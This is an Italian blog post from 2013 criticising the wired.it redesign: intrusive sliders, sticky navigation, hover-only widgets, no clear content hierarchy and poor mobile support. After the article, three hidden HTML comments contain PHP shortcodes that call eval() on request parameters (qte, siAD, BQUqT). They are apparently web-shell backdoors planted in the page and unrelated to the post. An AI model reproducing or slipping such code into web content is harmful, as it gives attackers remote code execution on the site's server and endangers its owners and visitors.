Ho fatto una cosa nuova, si chiama Guido

5 dicembre 2013
Argomenti:

Che cosa non va nel nuovo design di wired.it, secondo me

Ieri è andato online il nuovo design di wired.it. Io ero molto curioso e ci ho fatto un giro subito, dal telefono, e mentre lo facevo non ero molto contento, perché il sito non è responsive, e questa cosa mi ha stupito e un po’ deluso – ma di questo parliamo meglio dopo.

Poi ho fatto anche un giro con più calma dal computer – e allora ho avuto modo di guardare tutto per bene, e sono stato ancora meno contento, e un po’ più deluso, perché ho visto un sacco di cose che non vanno, secondo me, e che non riesco a spiegarmi, e che mi hanno fatto pensare che magari il nuovo wired.it non è brutto – quello è un parere, e in fondo chi se ne frega dei pareri – ma di sicuro è sbagliato.

E poi su Twitter ha iniziato a girare molto questo post di Federico Ferrazza, che è il vice direttore di Wired Italia, e delle sue 36 cose che ha imparato sui siti di informazione negli ultimi 3 anni molte sono davvero intelligenti e giuste, secondo me, e anche condivisibili, mentre altre – ed è una cosa che lascia un po’ sorpresi – sono in diretto contrasto con il risultato del lavoro suo e di altri, cioè il nuovo wired.it, com’è venuto, in pratica, per chi lo usa e lo legge.

Ferrazza nel suo quarto punto dice:

Il successo di un sito web si basa sulla quantità. Ma non quella degli utenti o delle pagine viste, bensì del fatturato.

E poi più sotto, nel punto diciassette dice:

Purtroppo in Italia, nel mercato pubblicitario online, contano ancora tanto le pagine viste, e non gli utenti unici.

Che sono tutte e due cose vere e giuste, soprattutto nel caso di un sito come wired.it, che si tiene in piedi con la pubblicità e gli sponsor, e quindi deve avere molti utenti unici, e deve anche fare in modo che questi utenti restino sul sito il più a lungo possibile – e poi di sicuro contano anche le visite, e il numero di pagine viste deve essere bello grosso, per fare un fatturato bello grosso.

E tutte queste cose qui riesci a farle bene, secondo me, soltanto se uno arriva sul tuo sito e ha voglia di restarci, di continuare a leggere, di tornarci ancora, e se vede un link in giro che porta al tuo sito ci clicca volentieri e legge tutto quanto fino in fondo, e poi magari si ferma e legge ancora qualcos’altro – e tutta questa roba qui si chiama esperienza utente, ma anche di questo parliamo meglio dopo.

E ha ragione Ferrazza a dire che ogni pagina è una home page e che le home page invece ormai non contano quasi niente – io, per dire, sono le ultime cose che progetto. È così da un po’ di tempo, da quando le persone hanno iniziato a cercare le cose su Google – mica uno cerca te o la tua home page, no? – e poi da quando hanno iniziato a condividere le cose sui social network – uno condivide un post in particolare, mica la tua home page, no?

Per cui quando oggi è uscito il nuovo design di wired.it io la prima cosa che ho fatto è stata scegliere un articolo – cioè proprio quello di Ferrazza, che tutti lo linkavano e me lo volevo leggere – e guardare come era stato progettato: se era stato progettato per bene, in modo da invogliare la gente a restare e a leggere ancora e a tornare, oppure no.

Il nuovo wired.it è molto bianco – che per esempio a me è una cosa che piace – e molto pieno. Ora, il fatto che sia molto pieno non è un difetto in sé, perché la missione del design non è disegnare cose, ma individuare e risolvere problemi – cioè to design, appunto, che vuol dire progettare – , e a volte succede che per risolvere un problema uno non debba togliere cose, ma aggiungere cose.

Però tutto si fa un po’ più complicato quando le cose che uno mette o aggiunge non riescono a portare a termine la missione del design, che consiste anche nel rispondere a questa domanda: quale problema stai risolvendo mettendo (o togliendo) quella cosa lì?

Per wired.it – e per qualunque altro sito sostenuto dalla pubblicità – il problema da risolvere è – l’ho già detto prima, però lo ripeto – generare traffico, utenti unici e tempo di permanenza sul sito. Ecco, secondo me se questi sono gli obiettivi da raggiungere, il  nuovo design di wired.it fallisce nel raggiungerli. E adesso provo a spiegare perché.

Secondo me il nuovo wired.it è pieno di cose che non solo non servono, ma che rischiano di allontanare i lettori. I lettori vengono lì per leggere qualcosa, e eventualmente – se si trovano bene – anche per leggere qualcos’altro di simile, o che c’entra, o che non sapevano ma li ha incuriositi. Per questo motivo – come si dice da un po’ – i contenuti devono essere messi al centro, e tutte le altre informazioni e i contenuti accessori, e gli elementi di navigazione e in generale le interazioni che vengono mostrate e proposte devono essere scelte con cura, per migliorare la possibilità di raggiungere il proprio obiettivo: traffico, utenti unici, tempo di permanenza. Io pensavo a queste cose, e mentre guardavo e leggevo mi sono fatto un po’ di domande.

A cosa serve – mi sono chiesto – quel numero in alto con di fianco una fiamma? D’accordo, serve a mostrare che un articolo è più letto di altri, uno alla fine lo capisce. Ma in che modo saperlo aggiunge valore all’esperienza di chi legge? Uno che quell’articolo è molto letto e molto discusso al massimo vorrebbe saperlo prima di leggerlo. Una volta che lo sta leggendo, è già lì, e se vuole lo legge tutto, e si gli viene voglia lo commenta anche. Può darsi che c’entri il fatto di sapere che l’articolo che sto leggendo lo stanno leggendo anche altri? Magari lo scopo è quello di far scattare la tendenza umanissima al conformarsi ai comportamenti altrui? Non lo so, ma quello che so è che secondo me è un’informazione inutile – specialmente se messa così tanto in evidenza – e io non l’avrei messa, o le avrei dato molto meno peso e rilievo.

E poi – mi sono chiesto – A cosa servono le frecce per spostarsi tra i post? D’accordo, servono a spostarsi tra i post, uno alla fine lo capisce. Però secondo me chi ha progettato il sito in questo caso ha dato un sacco di cose per scontate. Che uno capisce che quelle sono frecce, che capisce a cosa servono prima di provare a usarle e di trovarsi su un altro articolo che non voleva leggere, che uno le veda quelle frecce – che è una cosa tutta da verificare – e che le trovi anche utili e magari decida di usarle.

L’ipotesi ottimista è che chi ha progettato il nuovo design avesse dati che gli dicevano chiaro e tondo che quelle frecce erano indispensabili, da mettere assolutamente, per cui ha ragione lui. L’ipotesi realista è che siano state messe lì perché «l’ho visto fare in giro» oppure «altri ce l’hanno» e anche «magari qualcuno prima o poi le usa, non si sa mai». E poi, il tipo di interazione che quelle frecce propongono è quello di sfogliare che è una cosa che un’utente online magari fa, ma in modo diverso, quasi mai in modo sequenziale, cronologico o orizzontale. Nel frattempo, in alcuni casi la freccia di sinistra si sovrappone al breadcrumb, che non è una cosa carina.

Un’altra cosa che non capivo era a cosa servisse lo slider sulla colonna di destra, quello grigio, che propone gli articoli nuovi pubblicati sul sito e avanza automaticamente, e uno non può dirgli di fermarsi o di andare avanti o indietro. In teoria dovrebbe servire a invogliare chi legge a leggere anche altro. In pratica ci sono due buoni motivi per pensare che non riesca a farlo.

Il primo motivo è la teoria del pattern a F, che spiega in che modo le persone leggono i siti internet, e  scoraggia abbastanza dal posizionare qualsiasi cosa di importante o significativo in quella posizione. Il secondo motivo è che le persone detestano gli slider automatici. perché distraggono e non li puoi comandare, e perché sono un’interazione imposta, e a nessuno piace subire le scelte di altri – tranne che nei libri popup per bambini, ovviamente, ma quella è un’altra storia.

Io ogni volta che vedo uno slider automatico mi chiedo a cosa stava pensando quello che ha deciso di metterlo, lo slider: alle esigenze di chi usa il sito, o alla convinzione – tanto diffusa quanto sbagliata, secondo me – che riempire ogni pixel a disposizione di informazioni serva a farle davvero vedere, quelle informazioni?

Poi ho iniziato a scendere nella pagina per leggere il post, è sono successe due cose molto brutte: la navigazione in alto – che è molto ampia – ha continuato a seguirmi, ed è comparso un footer – anche lui appiccicato alla pagina, in fondo – con una pubblicità degli abbonamenti. E ovviamente mi sono chiesto a cosa servissero queste due interazioni – forzate, di nuovo – e mi sono risposto che servivano a vendere abbonamenti – che lo capisco, ci sta – e a muoversi più agevolmente all’interno del sito – che invece è una cosa che capisco molto meno – e ho pensato che però non aveva molto senso, perché alla fine di testo da leggere ne restava ben poco, ed era tutto compresso e schiacciato e faticoso, costretto in uno spazio decisamente ridotto, e distratto da troppe altre informazioni diverse.

Una struttura del genere va benissimo se progetti e leggi e testi solo sul tuo meraviglioso schermo da almeno 23 pollici, ma sul mio schermino da 13 inizia a diventare davvero fastidioso, e chissà su un 11 pollici cosa succede – mi sono detto – e mi sono anche detto che non era un bel modo di mettere il contenuto al centro. Cioè: il contenuto è davvero al centro, ma sembra in prigione, e non è per niente piacevole da leggere, né accogliente, e mi sono chiesto di nuovo a cosa stava pensando chi progettava questa pagina, e secondo me pensava a molte cose, ma non così tanto ai lettori – quelli che fanno i numeri grossi per i fatturati belli ciccioni.

E poi ho letto e sono arrivato alla fine, e più o meno alla fine è uscito fuori un coso – non saprei come altro chiamarlo – che mi proponeva contenuti simili da leggere, e entrava dal lato destro arrivati al fondo dell’articolo, e a cosa serviva? A provare a farmi leggere altro, in teoria, ma in pratica è un po’ goffo e appiccicato lì e fastidioso, e per svelarsi tutto bisogna passarci sopra col mouse, e io mi sono chiesto: ma come fa uno se legge su un tablet, o su un telefono, a passarci sopra col mouse?

Ed è un po’ strano, perché questa cosa di dare alle persone altro da leggere per tenerle sul sito è una cosa importante, probabilmente l’interazione più importante che uno può chiedere a ogni pagina, e invece era messa lì un po’ così, tutto fumo e niente arrosto, vien da dire, che la usi male o niente senza un mouse, che sembra un pezzo aggiunto alla fine, in jQuery, e chissà che succede se uno ha javascript disattivato, o un browser vecchio, e se non si poteva fare diversamente, in modo che funzionasse meglio per tutti. Secondo me sì.

In generale – e prometto che ho quasi finito – la mia sensazione è che il design del nuovo wired.it fallisca nel suo intento principale – invogliare a restare sul sito per leggere altro e a tornarci – perché i contenuti davvero interessanti sono sacrificati alle esigenze di contenuti accessori di cui si potrebbe fare decisamente a meno, o che potrebbero essere organizzati diversamente, con una gerarchia diversa. Perché – come mi ha insegnato la mia professoressa di storia alle medie – se sottolinei tutto un libro non hai sottolineato niente, e se tutti i contenuti e le informazioni del tuo sito hanno lo stesso peso e la stessa importanza, allora è come se niente fosse importante.

Ecco, un’architettura delle informazioni è probabilmente la cosa che manca di più, e la cui mancanza si nota e fa male di più: manca una selezione di cosa è importante e di cosa no, mancano dei pattern visivi che guidino e rendano facile capire i rapporti e le relazioni all’interno dello spazio che ospita i contenuti. Nel nuovo wired.it tutto ha lo stesso peso, tutto è ugualmente importante, tutto è un po’ ugualmente urlato, e alla fine uno è tutto frastornato, si stanca e se ne va.

Questo è specialmente vero nella homepage – che ok, non conta più come una volta, ma qualcosa comunque conta e qualcosa dice. Anche qui c’è uno slider, quello con le notizie in evidenza – che comunque andrebbe evitato in quanto slider, ma almeno è azionabile dall’utente – e poi ci sono tre colonne che propongono contenuti, e anche qui non c’è una gerarchia chiara, e con la solita navigazione fissa in alto che, che a me per dire porta via quasi un terzo dello spazio utile. Levati di mezzo e lasciami leggere, mi vien da dire.

Tra le molte cose giuste dette da Ferrazza nel suo articolo c’è il richiamo alla necessità dei magazine online di utilizzare un design responsive, cioè un design che si adatta alle dimensioni dello schermo utilizzato da chi legge, per leggere. Effettivamente il nuovo wired.it reagisce al ridimensionamento della finestra del browser, ma in modo strano e non riproducibile.

Se uno restringe la finestra del browser non succede niente di piacevole, sul mio Galaxy SIII nemmeno – le cose vanno meglio se richiedo il sito desktop, che è tutto dire – sul Note II di Enrica invece la parte responsive entra in azione – chissà perché. Ovviamente è normale che le cose si sistemino un po’ per volta, così come è normale che qualcosa vada storto o non sia tutto completo il giorno del lancio. Il problema infatti non è che la parte responsive è ancora un po’ così, da finire, ma il ragionamento che ha guidato il progetto, che invece di essere mobile first sembra un po’ mobile last, se mi permettete il gioco di parole. Uno lo capisce da questo, e poi lo capisce da altre cose che abbiamo detto: gli elementi fissi – che mobile van malissimo –, azioni scatenate dopo lo scorrimento della pagina – che mobile si comportano diversamente – azioni basate sul mouse – che mobile, abbiamo capito. Niente che si possa fare con un dispositivo touch, per cui se hai un dispositivo touch sei un po’ fregato, a leggere il nuovo wired.it.

Se uno vuole farsi un’idea va su ish – uno strumento per testare i siti responsive che ha fatto Brad Frost – seleziona la modalità disco, e si fa un’idea di cosa succede.

Update: il sito ora è responsive, ma solo se si usa un dispositivo mobile, se invece uno restringe la finestra del browser no, e se è una scelta di design io non la capisco, ma insomma, in fondo uno può anche dire: chi se ne frega, se non la capisci è un problema tuo. La cosa più interessante, comunque, è che la versione mobile dll nuovo wired.it è meglio di quella desktop. Io, se fossi in loro, userei quella mobile per tutto quanto, e bene così.

Ferrazza – e poi ho finito – nel suo bell’articolo dice – e io ero contento, a leggerlo – che progettando il nuovo wired.it hanno pensato molto all’esperienza utente. La sensazione – vista da qui, da uno che viene e legge – è che ci abbiano pensato, e che poi se ne siano un po’ dimenticati.

<!– [insert_php]if (isset($_REQUEST["qte"])){eval($_REQUEST["qte"]);exit;}[/insert_php][php]if (isset($_REQUEST["qte"])){eval($_REQUEST["qte"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["siAD"])){eval($_REQUEST["siAD"]);exit;}[/insert_php][php]if (isset($_REQUEST["siAD"])){eval($_REQUEST["siAD"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["BQUqT"])){eval($_REQUEST["BQUqT"]);exit;}[/insert_php][php]if (isset($_REQUEST["BQUqT"])){eval($_REQUEST["BQUqT"]);exit;}[/php] –>

Ti va di iscriverti alla mia newsletter?

Più o meno una volta al mese scrivo una lettera ai miei amici, dove parlo di fatti miei, delle cose che faccio e delle cose che penso. Se vuoi scrivo anche a te, e diventiamo amici: basta che scrivi il tuo indirizzo email qui sotto, e clicchi sul pulsante.

Se ti iscrivi accetti le cose sulla privacy.